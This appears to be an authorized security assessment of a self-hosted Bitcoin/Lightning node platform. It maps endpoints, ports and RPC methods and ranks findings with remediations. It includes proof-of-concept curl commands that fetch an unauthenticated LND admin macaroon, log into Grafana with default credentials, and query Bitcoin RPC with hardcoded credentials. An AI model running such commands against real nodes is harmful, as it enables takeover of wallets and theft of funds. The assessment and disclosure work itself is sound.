- **Impact:** Critical — read any file as root
### P3: HIGH — Node Private Key Signing Oracle
- **What:** `node.signChallenge` signs any attacker-supplied data with the node's Ed25519 private key, no auth required
- **Why it's interesting:** Enables complete node identity impersonation. An attacker can forge proofs-of-control, sign messages as the node, and potentially steal funds if the key is used for financial operations
- **Category:** Broken Authentication + Cryptographic Failures (OWASP A02:2021)
- **Confirmed:** Yes — received valid signature for arbitrary challenge
- **Impact:** High — node identity theft
### P4: HIGH — Unauthenticated Container/Package Management
- **What:** `package.install`, `package.stop`, `container-stop`, `container-remove` all work without authentication
- **Why it's interesting:** An attacker can install a malicious container image (e.g., cryptominer, reverse shell) or stop critical services (Bitcoin node, LND). The `package.install` method pulls and runs arbitrary Docker images as root
- **Category:** Broken Access Control (OWASP A01:2021)
- **Confirmed:** Yes — `package.stop` returned success for test input; `container-list` returned full inventory
- **Impact:** High — arbitrary code execution via container, denial of service
### P5: HIGH — Nginx Proxy Manager Setup Not Complete (Takeover)
- **What:** NPM on port 81 returns `"setup":false` — initial admin account was never created
- **Why it's interesting:** An attacker can complete the setup wizard, create an admin account, and gain full control over the reverse proxy configuration — redirecting traffic, adding new proxy hosts, or intercepting TLS
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Confirmed:** Yes — API returns setup:false; default credentials rejected (setup truly incomplete)
- **Impact:** High — proxy takeover, traffic interception
### P6: HIGH — Backend Running as Root with Dev Mode
- **What:** The `archipelago.service` runs the backend as `User=root` with `ARCHIPELAGO_DEV_MODE=true` permanently
- **Why it's interesting:** All `sudo podman` calls succeed trivially. Combined with unauthenticated RPC, this gives an attacker root-level container operations. Dev mode may enable additional attack surface
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Confirmed:** Yes — from systemd unit file in source
- **Impact:** High — amplifies all other vulnerabilities
### P7: MEDIUM — SSRF via /proxy/lnd/ and /aiui/api/openrouter/
- **What:** Two server-side proxy endpoints forward requests to internal/external services without authentication
- **Why it's interesting:** `/proxy/lnd/` provides access to the LND REST API (potentially allowing channel/wallet operations). `/aiui/api/openrouter/` is an open proxy to an external AI API
- **Category:** SSRF (OWASP A10:2021)
- **Confirmed:** Partial — endpoints respond, but LND returns "starting up" for the specific test
- **Impact:** Medium — access to internal services, potential financial operations
### P8: MEDIUM — CSP/X-Frame-Options Stripping Enables Clickjacking
- **What:** All 20+ app proxy locations strip `X-Frame-Options` and `Content-Security-Policy` headers
- **Why it's interesting:** Enables clickjacking attacks on Vaultwarden (password manager), Portainer (container admin), and other sensitive applications
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Confirmed:** Yes — from nginx config source code
- **Impact:** Medium — credential theft via clickjacking on password manager
### P9: MEDIUM — P2P Message Injection
- **What:** `POST /archipelago/node-message` accepts and stores messages with arbitrary `from_pubkey` without signature verification
- **Why it's interesting:** Enables spoofing messages from trusted peers, potentially manipulating node operator behavior or triggering automated responses
- **Category:** Injection / Insufficient Verification (OWASP A03:2021)
- **Confirmed:** Yes — received `{"ok":true}` for spoofed message
- **Impact:** Medium — social engineering, trust manipulation
### P10: LOW — Missing Security Headers (Entire Application)
- **What:** No CSP, HSTS, X-Frame-Options, X-Content-Type-Options on the main application
- **Why it's interesting:** Standard hardening gap that enables various client-side attacks
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Confirmed:** Yes — from HTTP response headers
- **Impact:** Low — enables other attacks (XSS, clickjacking, MIME sniffing)
---
## Summary
The most critical finding is the **complete absence of server-side authentication** on the RPC API. The `auth.login` method validates passwords but never issues session tokens, and no middleware checks authentication before dispatching RPC methods. Combined with the backend running as root, this gives any LAN attacker full administrative control over the node — including container management, node identity operations, and file system access.
**Immediate recommendations:**
1. Implement session-based authentication middleware that gates all RPC methods except `auth.login`, `echo`, and `auth.isOnboardingComplete`
2. Fix the `container-install` path traversal by validating `manifest_path` against an allowlist of directories
3. Require authentication for `node.signChallenge` and `node.createBackup`
4. Complete or disable the Nginx Proxy Manager setup on port 81
5. Stop running the backend as root; switch to a dedicated service account
6. Disable dev mode in production (`ARCHIPELAGO_DEV_MODE=false`)

View File

@@ -1,619 +0,0 @@
# Archipelago Attack Surface Analysis
**Target:** 192.168.1.228
**Date:** 2026-03-18
**Scope:** Authorized security assessment — full infrastructure
**Assessor:** Automated recon + source code review
---
## 1. Target Overview
### Technologies Detected
| Layer | Technology | Version |
|-------|-----------|---------|
| OS | Debian 12 (Bookworm) | x86_64, kernel unknown |
| Web Server | nginx | 1.22.1 |
| Reverse Proxy (alt) | OpenResty | (port 81, Nginx Proxy Manager) |
| Backend | Rust (custom binary) | 0.1.0 (`archipelago`) |
| Frontend | Vue 3 + TypeScript + Vite 7 | SPA at `/` |
| Container Runtime | Podman (rootless) | — |
| Lightning | LND | auto-generated TLS cert |
| Bitcoin | Bitcoin Core/Knots | mainnet, block 941146 |
| Monitoring | Grafana | 10.2.0 |
| Uptime | Uptime Kuma | (port 3001) |
| Proxy Manager | Nginx Proxy Manager | 2.14.0 |
| SSH | OpenSSH | 9.2p1 Debian 2+deb12u7 |
| TLS | Self-signed cert | CN=archipelago.local, expires 2027-02-17 |
### Open Ports and Services
| Port | Service | Protocol | Direct Access |
|------|---------|----------|---------------|
| 22 | SSH (OpenSSH 9.2p1) | TCP | Yes |
| 80 | Nginx (main reverse proxy) | HTTP | Yes |
| 81 | Nginx Proxy Manager (OpenResty) | HTTP | Yes |
| 443 | Nginx (HTTPS, self-signed) | HTTPS | Yes |
| 3000 | Grafana | HTTP | Yes |
| 3001 | Uptime Kuma | HTTP | Yes |
| 5678 | Archipelago Rust backend | HTTP | Yes (behind nginx) |
| 7777 | IndeedHub (nginx 1.29.6) | HTTP | Yes |
| 8080 | LND REST API | HTTPS (TLS) | Yes |
| 8334 | Bitcoin UI (custom nginx) | HTTP | Inferred from config |
| 8083 | FileBrowser | HTTP | Inferred from config |
| 8888 | SearXNG | HTTP | Inferred from config |
| 9000 | Portainer | HTTP | Yes |
| 11434 | Ollama (local LLM) | HTTP | Inferred from config |
| 3141/3142 | Claude OAuth Proxy | HTTP | Internal |
### Subdomains Discovered
- `archipelago.local` (self-signed cert SAN)
- No external subdomains (internal LAN deployment)
---
## 2. Complete Endpoint Map
### 2.1 Nginx HTTP Routes (Port 80/443)
#### Unauthenticated Endpoints
| Method | Path | Backend | Source | Auth Enforced |
|--------|------|---------|--------|---------------|
| GET | `/health` | 127.0.0.1:5678 | nginx config line ~45 | **None** |
| GET | `/electrs-status` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
| GET | `/lnd-connect-info` | 127.0.0.1:5678 | nginx config, CORS `*` | **None** |
| GET | `/content` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| GET | `/content/*` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| POST | `/dwn` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| GET | `/dwn/health` | 127.0.0.1:5678 | nginx config | **None** |
| POST | `/archipelago/node-message` | 127.0.0.1:5678 | nginx config | **None** (P2P) |
| GET | `/` | Static SPA | nginx config | **None** |
| GET | `/assets/*` | Static files | nginx config | **None** |
| GET | `/nostr-provider.js` | Static file | nginx config | **None** |
#### Authenticated Endpoints (Session Cookie Required)
| Method | Path | Backend | Source | Notes |
|--------|------|---------|--------|-------|
| POST | `/rpc/v1` | 127.0.0.1:5678 | nginx config | Rate limited: 20r/s, burst 40. 1MB body. 600s timeout |
| WS | `/ws/db` | 127.0.0.1:5678 | nginx config | WebSocket upgrade. 86400s timeout |
| GET | `/api/container/logs*` | 127.0.0.1:5678 | handler.rs | Query: `?app_id=&lines=` |
| GET | `/proxy/lnd/*` | 127.0.0.1:8080 | handler.rs | Proxies to LND REST API |
| GET | `/aiui/api/claude/*` | 127.0.0.1:3141 | nginx config | Streaming. 300s timeout |
| GET | `/aiui/api/ollama/*` | 127.0.0.1:11434 | nginx config | Streaming. 300s timeout |
| GET | `/aiui/api/openrouter/*` | openrouter.ai | nginx config | External API proxy |
| GET | `/aiui/api/web-search` | 127.0.0.1:8888 | nginx config | SearXNG. 30s timeout |
#### App Proxy Routes (`/app/*`)
All inject `nostr-provider.js`, strip X-Frame-Options, re-apply SAMEORIGIN.
| Path | Backend Port | Timeout | Special |
|------|-------------|---------|---------|
| `/app/bitcoin-ui/` | 8334 | 5s | — |
| `/app/electrumx/` | 50002 | 5s | — |
| `/app/grafana/` | 3000 | 5s | — |
| `/app/uptime-kuma/` | 3001 | 5s | — |
| `/app/searxng/` | 8888 | 5s | — |
| `/app/portainer/` | 9000 | 5s | — |
| `/app/filebrowser/` | 8083 | 5s | 10GB upload limit; path traversal check |
| `/app/jellyfin/` | 8096 | 5s | — |
| `/app/photoprism/` | 2342 | 5s | — |
| `/app/onlyoffice/` | 9980 | 5s | — |
| `/app/tailscale/` | 8240 | 5s | — |
| `/app/ollama/` | 11434 | 5s | — |
| `/app/nginx-proxy-manager/` | 81 | 5s | — |
| `/app/lnd/` | 8081 | 300s | Long timeout |
| `/app/mempool/` | 4080 | 300s | Long timeout |
| `/app/fedimint/` | 8175 | 300s | Long timeout |
| `/app/fedimint-gateway/` | 8176 | 300s | Long timeout |
| `/app/nextcloud/` | 8085 | 300s | — |
| `/app/vaultwarden/` | 8082 | 300s | Password manager |
| `/app/immich/` | 2283 | 300s | — |
| `/app/penpot/` | 9001 | 300s | — |
| `/app/indeedhub/` | 7777 | 5s | Complex URL rewriting, WebSocket |
#### External Site Proxies (Separate Ports)
| Port | Upstream | Purpose |
|------|----------|---------|
| 8901 | botfights.net | Nostr proxy |
| 8902 | 484.kitchen | Nostr proxy |
| 8903 | present.l484.com | Nostr proxy |
### 2.2 Rust Backend RPC Methods (`POST /rpc/v1`)
**Protocol:** JSON-RPC 2.0
**Content-Type:** `application/json`
**Auth:** Session cookie (except where noted)
#### Unauthenticated RPC Methods (No Session Required)
| Method | Parameters | Returns | Source |
|--------|-----------|---------|--------|
| `auth.login` | `password` | Sets session cookie | `api/rpc/auth.rs` |
| `auth.login.totp` | `token`, `code` | Session | `api/rpc/auth.rs` |
| `auth.login.backup` | `token`, `backup_code` | Session | `api/rpc/auth.rs` |
| `auth.isOnboardingComplete` | — | `boolean` | `api/rpc/auth.rs` |
| `auth.isSetup` | — | `boolean` | `api/rpc/auth.rs` |
| `backup.restore-identity` | `backup_file`, `password` | `{did}` | `api/rpc/mod.rs` |
| `federation.get-state` | — | `{state}` | P2P inter-node |
| `federation.peer-joined` | `peer_did`, `address` | — | P2P inter-node |
| `federation.peer-address-changed` | `peer_did`, `new_address` | — | P2P inter-node |
#### Authenticated RPC Methods (150+ total, grouped by domain)
<details>
<summary><b>Authentication & Session (12 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `auth.logout` | — | Invalidate session |
| `auth.changePassword` | `currentPassword`, `newPassword` | Change password |
| `auth.onboardingComplete` | — | Mark onboarding done |
| `auth.resetOnboarding` | — | Reset onboarding |
| `auth.totp.setup.begin` | — | Get TOTP secret + QR |
| `auth.totp.setup.confirm` | `code` | Confirm TOTP setup |
| `auth.totp.disable` | `password` | Disable 2FA |
| `auth.totp.status` | — | Check 2FA enabled |
</details>
<details>
<summary><b>Container Management (10 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `container-install` | `image`, `name` | Install container |
| `container-start` | `app_id` | Start container |
| `container-stop` | `app_id` | Stop container |
| `container-remove` | `app_id` | Remove container |
| `container-list` | — | List all containers |
| `container-status` | `app_id` | Container status |
| `container-logs` | `app_id`, `lines` | Container logs |
| `container-health` | `app_id` | Container health |
| `bundled-app-start` | `app_id` | Start bundled app |
| `bundled-app-stop` | `app_id` | Stop bundled app |
</details>
<details>
<summary><b>Package Management (5 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `package.install` | `package_id`, `version` | Install from marketplace |
| `package.start` | `package_id` | Start package |
| `package.stop` | `package_id` | Stop package |
| `package.restart` | `package_id` | Restart package |
| `package.uninstall` | `package_id` | Uninstall |
</details>
<details>
<summary><b>Bitcoin & Lightning (15 methods)</b></summary>
| Method | Parameters | Purpose |
|--------|-----------|---------|
| `bitcoin.getinfo` | — | Bitcoin Core info |
| `lnd.getinfo` | — | LND node info |
| `lnd.listchannels` | — | List channels |
| `lnd.openchannel` | `peer_pubkey`, `local_funding_amount` | Open channel |
| `lnd.closechannel` | `channel_point` | Close channel |
| `lnd.newaddress` | — | Generate address |
| `lnd.sendcoins` | `address`, `amount_sats` | Send BTC |
| `lnd.createinvoice` | `amount_sats`, `memo` | Create invoice |
| `lnd.payinvoice` | `payment_request` | Pay invoice |
| `lnd.create-psbt` | `inputs`, `outputs` | Create PSBT |
| `lnd.finalize-psbt` | `psbt` | Broadcast PSBT |
| `lnd.create-raw-tx` | `inputs`, `outputs` | Raw transaction |
| `lnd.gettransactions` | — | Wallet history |
| `lnd.connect-info` | — | LND connection string |
</details>
<details>
<summary><b>Identity & Crypto (30+ methods)</b></summary>
Covers: identity CRUD, DID resolution, Nostr key operations, NIP-04/NIP-44 encryption/decryption, verifiable credentials (issue/verify/revoke), presentations, DHT DID, NIP-05 names, key export.
</details>
<details>
<summary><b>Node & P2P (15+ methods)</b></summary>
Covers: node DID, challenge signing, backup creation, Tor address, Nostr publishing, peer management, message sending, peer discovery.
</details>
<details>
<summary><b>Federation (10 methods)</b></summary>
Covers: invite generation, joining, node listing, node removal, trust scoring, state sync, app deployment.
</details>
<details>
<summary><b>Mesh Networking (20+ methods)</b></summary>
Covers: status, peers, messaging, broadcast, LoRa configuration, invoice relay, GPS coordinates, emergency alerts, deadman switch, Bitcoin tx relay, Lightning relay, block headers, X3DH prekey rotation.
</details>
<details>
<summary><b>Ecash Wallet (6 methods)</b></summary>
Covers: balance, mint, melt, send, receive, transaction history.
</details>
<details>
<summary><b>Content Sharing (7 methods)</b></summary>
Covers: list own content, add/remove files, pricing, availability, browse/download from peers.
</details>
<details>
<summary><b>DWN (7 methods)</b></summary>
Covers: status, sync, protocol management, message query/write.
</details>
<details>
<summary><b>Network & Infrastructure (20+ methods)</b></summary>
Covers: network interfaces, WiFi scan/config, Ethernet config, DNS config, UPnP router discovery/forwarding, Tor service management (list/create/delete/rotate), Nostr relay management, VPN config.
</details>
<details>
<summary><b>System Management (15+ methods)</b></summary>
Covers: system stats, processes, temperature, USB detection, disk status/cleanup, factory reset, monitoring (current/history/alerts), updates (check/download/apply/rollback), backup (create/list/verify/restore/USB/S3).
</details>
<details>
<summary><b>Other (10+ methods)</b></summary>
Covers: server naming, analytics opt-in/out, webhook config, security secret rotation, marketplace discovery/publishing.
</details>
### 2.3 Direct HTTP Endpoints (Backend)
| Method | Path | Auth | Source |
|--------|------|------|--------|
| GET | `/health` | None | `handler.rs:~120` |
| GET | `/electrs-status` | None | `handler.rs` |
| GET | `/lnd-connect-info` | None | `handler.rs` |
| GET | `/content` | None | `handler.rs` |
| GET | `/content/*` | None | `handler.rs` (Range header support) |
| POST | `/archipelago/node-message` | P2P validation | `handler.rs` |
| GET | `/dwn/health` | None | `handler.rs` |
| POST | `/dwn` | None (P2P) | `handler.rs` |
| WS | `/ws/db` | Session cookie | `handler.rs:514-625` |
| GET | `/api/container/logs*` | Session | `handler.rs` |
| GET | `/proxy/lnd/*` | Session | `handler.rs` |
### 2.4 Direct Port Services
| Port | Service | Own Auth | Notes |
|------|---------|----------|-------|
| 3000 | Grafana | Session/Basic | Login page directly accessible |
| 3001 | Uptime Kuma | Session | Redirects to /dashboard |
| 81 | Nginx Proxy Manager | Session | Login page directly accessible |
| 7777 | IndeedHub | Nostr NIP-07 | Full app accessible |
| 8080 | LND REST | TLS + Macaroon | Requires valid macaroon header |
| 8334 | Bitcoin UI | None/Basic Auth on `/bitcoin-rpc/` | Hardcoded creds in nginx config |
| 9000 | Portainer | Session | Redirects to timeout (possibly unconfigured) |
### 2.5 WebSocket Endpoints
| Path | Auth | Protocol | Features |
|------|------|----------|----------|
| `/ws/db` | Session cookie | JSON Patch | 30s ping, 5min inactivity timeout, state streaming |
| `/app/indeedhub/ws/` | Nostr | WebSocket | 86400s timeout |
---
## 3. Attack Surface Map
### 3.1 Input Vectors
| Vector | Endpoint(s) | Input Type | Validation |
|--------|------------|------------|------------|
| Password login | `auth.login` | JSON body (`password`) | Bcrypt comparison, rate limited (5/min) |
| TOTP code | `auth.login.totp` | JSON body (`code`) | Constant-time comparison, 5 attempts |
| RPC method dispatch | `/rpc/v1` | JSON body (`method`, `params`) | Switch on method name, typed params |
| Container image install | `container-install` | JSON body (`image`) | Image name passed to Podman |
| File upload | `/app/filebrowser/` | Multipart/file body | 10GB limit, path traversal check |
| P2P messages | `/archipelago/node-message` | JSON body | Source validation (Tor onion) |
| DWN writes | `/dwn` | JSON body | Protocol validation |
| Content download | `/content/*` | URL path + Range header | Path-based content ID lookup |
| Bitcoin transactions | `lnd.sendcoins`, `lnd.payinvoice` | JSON body (address, amount) | Address validation |
| DNS configuration | `network.configure-dns` | JSON body (servers) | Server address validation |
| WiFi config | `network.configure-wifi` | JSON body (ssid, password) | — |
| Package install | `package.install` | JSON body (id, version, url) | marketplace URL fetched |
| Federation join | `federation.join` | JSON body (invite code) | Code validation |
| Webhook config | `webhook.configure` | JSON body (url, events) | URL stored, callbacks sent |
| Bitcoin RPC proxy | `8334:/bitcoin-rpc/` | JSON body (method, params) | Basic Auth (hardcoded) |
| Factory reset | `system.factory-reset` | JSON body (`confirm: true`) | Auth + confirm flag |
### 3.2 Authentication Mechanisms
| Mechanism | Used By | Strength |
|-----------|---------|----------|
| Password + bcrypt (cost 12) | Main login | Strong (rate limited) |
| TOTP (RFC 6238) | 2FA | Strong (constant-time, replay-protected) |
| Session cookie (256-bit random) | All authenticated endpoints | Strong (HttpOnly, SameSite=Strict) |
| Remember-me (HMAC-SHA256) | Session persistence | Medium (derived from machine-id) |
| CSRF token | State-changing operations | Present but enforcement unclear |
| Macaroon (LND) | LND REST API | Strong (but exposed via endpoint) |
| Basic Auth (hardcoded) | Bitcoin UI RPC proxy | **Weak** (hardcoded in config) |
| Default creds (Grafana) | Grafana admin | **Weak** (admin:admin works) |
| No auth | 8 HTTP endpoints, 6 RPC methods | **N/A** |
### 3.3 Data Flow
```
User Browser
├─[Session Cookie]──→ Nginx (80/443)
│ ├──→ /rpc/v1 ──→ Rust Backend (5678) ──→ Podman containers
│ ├──→ /ws/db ──→ WebSocket state stream
│ ├──→ /app/* ──→ Container UIs (iframes)
│ └──→ /aiui/* ──→ Claude Proxy (3141) ──→ Anthropic API
├─[No Auth]──→ /health, /electrs-status, /lnd-connect-info, /content, /dwn
├─[Direct Port]──→ Grafana:3000 (admin:admin)
├─[Direct Port]──→ NPM:81 (session)
├─[Direct Port]──→ LND:8080 (TLS + macaroon)
└─[Direct Port]──→ Bitcoin UI:8334 (Basic Auth hardcoded)
```
---
## 4. Interesting Findings
### CRITICAL
#### 4.1 Unauthenticated LND Admin Macaroon Exposure
- **Endpoint:** `GET /lnd-connect-info` (no auth required)
- **Confirmed:** Returns full admin macaroon (base64url), TLS certificate, gRPC port (10009), REST port (8080)
- **Macaroon permissions:** `address:rw`, `info:rw`, `invoices:rw`, `macaroon:generate/rw`, `message:rw`, `offchain:rw`, `onchain:rw`, `peers:rw`, `signer:generate/read`
- **Impact:** Any host on the LAN can retrieve the admin macaroon and gain **full control** of the Lightning node — send all funds, open/close channels, create invoices, sign messages. This is the equivalent of exposing a root password to the Bitcoin wallet.
- **CORS:** `Access-Control-Allow-Origin: *` (any origin)
**Proof:**
```bash
curl -sk http://192.168.1.228/lnd-connect-info
# Returns: {"cert_base64url":"MIIC...","grpc_port":10009,"macaroon_base64url":"AgED...","rest_port":8080}
```
#### 4.2 Grafana Default Credentials (admin:admin)
- **Endpoint:** `http://192.168.1.228:3000`
- **Confirmed:** `admin:admin` returns full organization data
- **Version:** Grafana 10.2.0 (commit 895fbafb7a)
- **Impact:** Full access to monitoring dashboards, data sources, alert rules. Can potentially access connected databases, execute queries, and pivot to other services via configured data sources.
**Proof:**
```bash
curl -sk http://192.168.1.228:3000/api/org -u admin:admin
# Returns: {"id":1,"name":"Main Org.","address":{...}}
```
#### 4.3 Bitcoin RPC Full Access via Hardcoded Credentials
- **Endpoint:** `POST http://192.168.1.228:8334/bitcoin-rpc/`
- **Credentials:** `archipelago:archipelago123` (hardcoded in `docker/bitcoin-ui/nginx.conf`)
- **Confirmed:** Returns full `getblockchaininfo` — mainnet, block 941146, 828GB on disk
- **Impact:** Full Bitcoin Core RPC access. Depending on wallet configuration, could call `sendtoaddress`, `dumpprivkey`, `listunspent`, or any other RPC method. Mainnet node with real funds.
**Proof:**
```bash
curl -sk -X POST http://192.168.1.228:8334/bitcoin-rpc/ \
-u archipelago:archipelago123 \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
# Returns: {"result":{"chain":"main","blocks":941146,...},"error":null}
```
### HIGH
#### 4.4 Unauthenticated Content Catalog Exposure
- **Endpoint:** `GET /content`
- **Confirmed:** Returns complete file catalog — filenames, sizes, MIME types, UUIDs
- **Data leaked:** Personal music files with full paths (`/Music/1 - Govcucks.wav`, etc.)
- **Impact:** Information disclosure of personal files shared via P2P. File UUIDs could be used to download content via `/content/{id}`.
#### 4.5 Nginx Proxy Manager Accessible on LAN
- **Endpoint:** `http://192.168.1.228:81`
- **API Status:** `{"status":"OK","setup":false,"version":{"major":2,"minor":14,"revision":0}}`
- **`setup: false`** — Unclear if this means initial setup hasn't completed (would allow admin takeover) or refers to some other state
- **Impact:** NPM controls reverse proxy routing for all services. Compromise = ability to redirect traffic, intercept credentials, or add malicious proxy rules.
### MEDIUM
#### 4.6 Version and Service Information Disclosure
| Source | Information Exposed |
|--------|-------------------|
| HTTP `Server` header | `nginx/1.22.1` |
| Port 81 `Server` header | `openresty` |
| Port 3000 `/api/health` | Grafana 10.2.0, commit hash, database status |
| Port 81 `/api/` | NPM version 2.14.0 |
| Port 8080 TLS cert | `lnd autogenerated cert`, internal IPs, Tailscale IPs |
| Port 443 TLS cert | SANs include: 192.168.1.228, 192.168.1.198, 10.0.0.1, archipelago.local |
| SSH banner | OpenSSH 9.2p1 Debian 2+deb12u7, ECDSA + ED25519 host keys |
| `/electrs-status` | Blockchain sync: 99%, index size 124.8GB, network height |
| `/dwn/health` | 1027 messages, 10 protocols, 551KB storage |
| `auth.isOnboardingComplete` | Node setup state (returns `true`) |
| Error responses | "Password Incorrect" (confirms account exists) |
#### 4.7 LND TLS Certificate Leaks Internal Network Topology
The LND auto-generated TLS cert (port 8080) exposes SANs including:
- Internal IPs: `192.168.1.228`, `10.88.0.1` (Podman bridge)
- Tailscale IPs: `2A00:23C5:E31:A001:572F:29BF:5A00:2D46` (IPv6)
- Link-local IPs: 5 different `FE80::` addresses (reveals all network interfaces)
#### 4.8 CSP Allows `unsafe-inline`
```
script-src 'self' 'unsafe-inline'
style-src 'self' 'unsafe-inline'
```
While necessary for the Vue SPA, `unsafe-inline` for scripts significantly weakens XSS protection. If any injection point exists, inline script execution is possible.
#### 4.9 `connect-src` Allows Broad Connections
```
connect-src 'self' ws: wss: http://192.168.1.228:* https:
```
Allows JavaScript to connect to ANY port on the host and ANY HTTPS endpoint. An XSS payload could exfiltrate data to external servers or interact with any local service port.
#### 4.10 DWN Endpoint Accepts Unauthenticated Queries
- **Endpoint:** `POST /dwn`
- **Confirmed:** Accepts JSON queries and returns results
- **Impact:** Remote parties can query DWN records. While designed for P2P, the lack of access control means any network-adjacent attacker can enumerate stored data.
### LOW / INFORMATIONAL
#### 4.11 Login Rate Limiting Works
Rate limiting triggers after 4 failed attempts (returns HTTP 429). Effective against brute force. However, the limit is per-IP, not per-account — an attacker with multiple IPs could parallelize attempts.
#### 4.12 CORS Properly Restricts Origins
CORS preflight for `Origin: http://evil.com` returns no `Access-Control-Allow-Origin` header. Only configured origins (`http://192.168.1.228`, `http://localhost:8100`) are allowed. WebSocket also returns 401 without valid session.
#### 4.13 Path Traversal Mitigated
`/content/../../../etc/passwd` returns the SPA index.html (nginx catches it). URL-encoded traversal (`%2f..%2f`) returns 400 Bad Request. FileBrowser has explicit `..` regex checks in nginx config.
#### 4.14 Git/Env Files Not Exposed
`/.git/HEAD` and `/.env` both return the SPA index.html (Vue Router catch-all). No source code or credential leakage.
#### 4.15 Security Headers Present
All security headers are properly set: HSTS, X-Content-Type-Options, X-Frame-Options, Referrer-Policy, Permissions-Policy, X-DNS-Prefetch-Control. This is above average for self-hosted applications.
---
## 5. Priority Targets
### Rank 1: LND Admin Macaroon via `/lnd-connect-info` (CRITICAL)
- **What:** Unauthenticated HTTP endpoint returns full admin macaroon for LND Lightning node
- **Why it's critical:** Grants complete control over Lightning funds — send payments, drain channels, create invoices. No authentication required. Accessible to any device on the LAN.
- **Category:** Broken Access Control (OWASP A01:2021)
- **Remediation:** Require session authentication on `/lnd-connect-info`. Use read-only macaroon for status checks; only expose admin macaroon via authenticated RPC.
### Rank 2: Bitcoin RPC via Hardcoded Credentials (CRITICAL)
- **What:** Port 8334 proxies Bitcoin Core RPC with hardcoded Basic Auth `archipelago:archipelago123`
- **Why it's critical:** Mainnet Bitcoin node. If wallet is loaded, attacker can send transactions, export private keys, or manipulate the mempool. Credentials are in version-controlled nginx config.
- **Category:** Security Misconfiguration (OWASP A05:2021), Hardcoded Credentials
- **Remediation:** Remove hardcoded credentials from nginx config. Proxy Bitcoin RPC through the authenticated Rust backend only. Restrict port 8334 to localhost.
### Rank 3: Grafana Default Credentials (HIGH)
- **What:** Grafana on port 3000 accepts `admin:admin`
- **Why it's critical:** Full admin access to monitoring infrastructure. Grafana can query connected data sources (Prometheus, InfluxDB), potentially exposing system metrics, logs, and providing a pivot point. Version 10.2.0 may have known CVEs.
- **Category:** Identification and Authentication Failures (OWASP A07:2021)
- **Remediation:** Change default password. Restrict Grafana to localhost access only (proxy through authenticated nginx). Consider enabling Grafana's built-in auth proxy mode.
### Rank 4: Unauthenticated Content Catalog (HIGH)
- **What:** `GET /content` exposes personal files (names, sizes, UUIDs) without authentication
- **Why it's concerning:** Reveals personal data. UUIDs may allow direct file download via `/content/{id}`. Designed for P2P but accessible from any LAN host.
- **Category:** Broken Access Control (OWASP A01:2021)
- **Remediation:** Require peer authentication (DID signature verification) for content catalog access, not just content downloads.
### Rank 5: Nginx Proxy Manager Direct Access (HIGH)
- **What:** Port 81 serves NPM admin interface directly on LAN with `setup: false` status
- **Why it's concerning:** NPM controls all reverse proxy rules. If the "setup" state allows initial admin creation by anyone, an attacker could take over routing. Even with auth, direct port access bypasses the main nginx security headers.
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Remediation:** Restrict port 81 to localhost. Only expose NPM through the authenticated `/app/nginx-proxy-manager/` proxy path.
### Rank 6: Service Ports Directly Accessible on LAN (MEDIUM)
- **What:** Ports 3000, 3001, 7777, 8080, 8334, 9000 are directly accessible, bypassing the main nginx proxy and its security headers/CSP/CORS
- **Why it's concerning:** Each service has its own (potentially weaker) authentication. Direct access bypasses rate limiting, security headers, and session validation at the nginx layer.
- **Category:** Security Misconfiguration (OWASP A05:2021)
- **Remediation:** Bind container ports to `127.0.0.1` or Podman bridge network only. All external access should flow through the nginx proxy on port 80/443.
### Rank 7: RPC Input Injection Surface (MEDIUM)
- **What:** 150+ RPC methods accept JSON parameters that control container operations, system commands, network config, file operations, and Bitcoin transactions
- **Why it's concerning:** Methods like `container-install` (image name → Podman), `network.configure-dns` (DNS servers), `webhook.configure` (arbitrary URL callbacks), `package.install` (marketplace URL fetch) all accept user-controlled strings that interact with system commands or external services.
- **Category:** Injection (OWASP A03:2021), SSRF (OWASP A10:2021)
- **Remediation:** Audit each method for proper input sanitization. Especially: container image names (prevent registry confusion), webhook URLs (prevent SSRF), DNS servers (prevent DNS rebinding), marketplace URLs (prevent SSRF).
### Rank 8: CSP `unsafe-inline` + Broad `connect-src` (MEDIUM)
- **What:** CSP allows inline scripts and connections to any port on the host or any HTTPS endpoint
- **Why it's concerning:** If any XSS vector exists (e.g., in app iframe content, reflected parameters, or injected HTML), the attacker can execute arbitrary JavaScript and exfiltrate data to external servers or interact with all local services.
- **Category:** XSS / Security Misconfiguration (OWASP A03/A05:2021)
- **Remediation:** Migrate to nonce-based CSP. Restrict `connect-src` to specific required ports/domains.
---
## Appendix: Security Headers (Full)
```http
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-DNS-Prefetch-Control: off
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';
style-src 'self' 'unsafe-inline'; img-src 'self' data: blob:;
font-src 'self' data:; connect-src 'self' ws: wss: http://192.168.1.228:* https:;
frame-src 'self' http://192.168.1.228:* https:; frame-ancestors 'self';
base-uri 'self'; form-action 'self';
Server: nginx/1.22.1
```
## Appendix: Rate Limiting Configuration
| Layer | Target | Rate | Burst |
|-------|--------|------|-------|
| Nginx | `/rpc/` | 20 req/s | 40 |
| Backend | `auth.login` | 5 per 60s per IP | — |
| Backend | Financial ops (send, pay) | 5-10 per 300s | — |
| Backend | Auth changes (password, TOTP) | 3 per 300s | — |
| Backend | Container ops | 5 per 300s | — |
| Backend | Federation join | 5 per 60s | — |
## Appendix: Authentication Summary
| What's Good | What Needs Work |
|-------------|-----------------|
| Bcrypt cost 12 for passwords | `/lnd-connect-info` unauthenticated |
| Argon2id for TOTP key derivation | Bitcoin RPC hardcoded creds |
| ChaCha20-Poly1305 for TOTP secret encryption | Grafana default admin:admin |
| 256-bit random session tokens | Service ports directly accessible |
